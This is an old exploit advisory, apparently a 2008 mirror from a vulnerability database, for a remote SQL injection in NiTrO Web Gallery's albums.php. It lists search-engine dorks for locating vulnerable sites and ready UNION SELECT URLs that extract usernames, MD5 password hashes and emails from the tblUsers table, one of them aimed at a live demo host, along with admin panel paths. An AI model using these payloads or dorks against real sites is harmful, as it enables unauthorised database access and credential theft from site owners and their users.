NiTrO Web Gallery <= 1.4.3 (section) Remote SQL Injection Vulnerability

🗓️ 18 Jun 2008 00:00:00Reported by RootType

NiTrO Web Gallery Remote SQL Injection Vulnerabilit


                                                #########################################################################
####################&nbsp;Viva&nbsp;IslaM&nbsp;Viva&nbsp;IslaM&nbsp;##############################
##
##&nbsp;Remote&nbsp;SQL&nbsp;Injection&nbsp;Vulnerability
##
##&nbsp;NiTrO&nbsp;Web&nbsp;Gallery&nbsp;V1.3&nbsp;-&nbsp;V1.4-&nbsp;V1.41&nbsp;-&nbsp;1.42&nbsp;-&nbsp;V1.43&nbsp;(&nbsp;albums.php&nbsp;section&nbsp;)
##
#########################################################################
#########################################################################
##
##&nbsp;AuTh0r&nbsp;:&nbsp;Mr.SQL
##
##&nbsp;H0ME&nbsp;&nbsp;&nbsp;:&nbsp;WwW.PaL-HaCkEr.CoM
##
##&nbsp;Email&nbsp;&nbsp;:&nbsp;[email protected]
##
##&nbsp;!!&nbsp;SYRIAN&nbsp;HaCkErS&nbsp;&nbsp;!!
########################
########################
##
##&nbsp;Script&nbsp;&nbsp;&nbsp;:&nbsp;NiTrO&nbsp;Web&nbsp;Gallery
##
##&nbsp;Versions&nbsp;:&nbsp;V1.3&nbsp;-&nbsp;V1.4-&nbsp;V1.41&nbsp;-&nbsp;V1.42&nbsp;-&nbsp;V1.43
##
##&nbsp;&nbsp;Site&nbsp;&nbsp;&nbsp;&nbsp;:&nbsp;www.nitropowered.net&nbsp;&nbsp;&lt;&lt;&gt;&gt;&nbsp;Download&nbsp;The&nbsp;Script&nbsp;:&nbsp;&nbsp;&nbsp;http://www.nitropowered.net/downloads/
##
########################
########################
##
##&nbsp;&nbsp;&nbsp;D0rk&nbsp;1&nbsp;:&nbsp;&nbsp;allinurl:&nbsp;&quot;albums.php&quot;&nbsp;section&nbsp;cats&nbsp;action&nbsp;show&nbsp;CatId
##
##&nbsp;&nbsp;&nbsp;D0rk&nbsp;2&nbsp;:&nbsp;&nbsp;&quot;(C)&nbsp;This&nbsp;site&nbsp;is&nbsp;NITROpowered!&quot;
##
##&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;-(::&nbsp;SQL&nbsp;::)-
##
##&nbsp;&nbsp;&nbsp;&nbsp;www.site.com/
##&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;albums.php?section=cats&amp;action=show&amp;CatId=-1+union+select+1,concat_ws(0x3a3a,UserName,UserPassword,UserEmail),3,4,5,6,7,8+from+tblUsers/*
##&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;0r
##&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;albums.php?section=cats&amp;action=show&amp;CatId=-1+union+select+1,concat_ws(0x3a3a,UserName,UserPassword,UserEmail),3,4,5,6,7,8,9+from+tblUsers/*
##&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
##&nbsp;&nbsp;-(::&nbsp;L!VE&nbsp;DEMO&nbsp;::)-
##
##&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;http://demo.nitropowered.de/albums.php?section=cats&amp;action=show&amp;CatId=-1+union+select+1,concat_ws(0x3a3a,UserName,UserPassword,UserEmail),3,4,5,6,7,8,9+from+tblUsers/*
##
########################
########################
##&nbsp;&nbsp;-(::&nbsp;Admin&nbsp;Panel&nbsp;::)-&nbsp;
##
##&nbsp;&nbsp;www.site.com/?admin=1
##&nbsp;&nbsp;www.site.com/admin/
###################
###################

&nbsp;&nbsp;&nbsp;&nbsp;-(::&nbsp;N0Te&nbsp;::)-
&nbsp;tblUsers&nbsp;maybe&nbsp;this&nbsp;not&nbsp;admin&nbsp;table&nbsp;&nbsp;//&nbsp;&nbsp;((&nbsp;Passwords&nbsp;=&gt;&nbsp;MD5&nbsp;))&nbsp;&nbsp;;)
&nbsp;
######################################################################################################
######################################################################################################
&nbsp;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;-(::&nbsp;!Gr3E3E3E3E3E3E3TzZ!&nbsp;::)-
&nbsp;
::&nbsp;HaCkEr-EGy&nbsp;::&nbsp;His0k4&nbsp;::&nbsp;Dark&nbsp;MaSTer&nbsp;::&nbsp;MoHaMeD&nbsp;el&nbsp;3rab&nbsp;::&nbsp;ALwHeD&nbsp;::&nbsp;HeBarieH&nbsp;::&nbsp;MusliMs&nbsp;HaCkErs&nbsp;::
&nbsp;
######################################################################################################

18 Jun 2008 00:00Current

7.1High risk

Vulners AI Score7.1

NiTrO Web Gallery &lt;= 1.4.3 (section) Remote SQL Injection Vulnerability

NiTrO Web Gallery <= 1.4.3 (section) Remote SQL Injection Vulnerability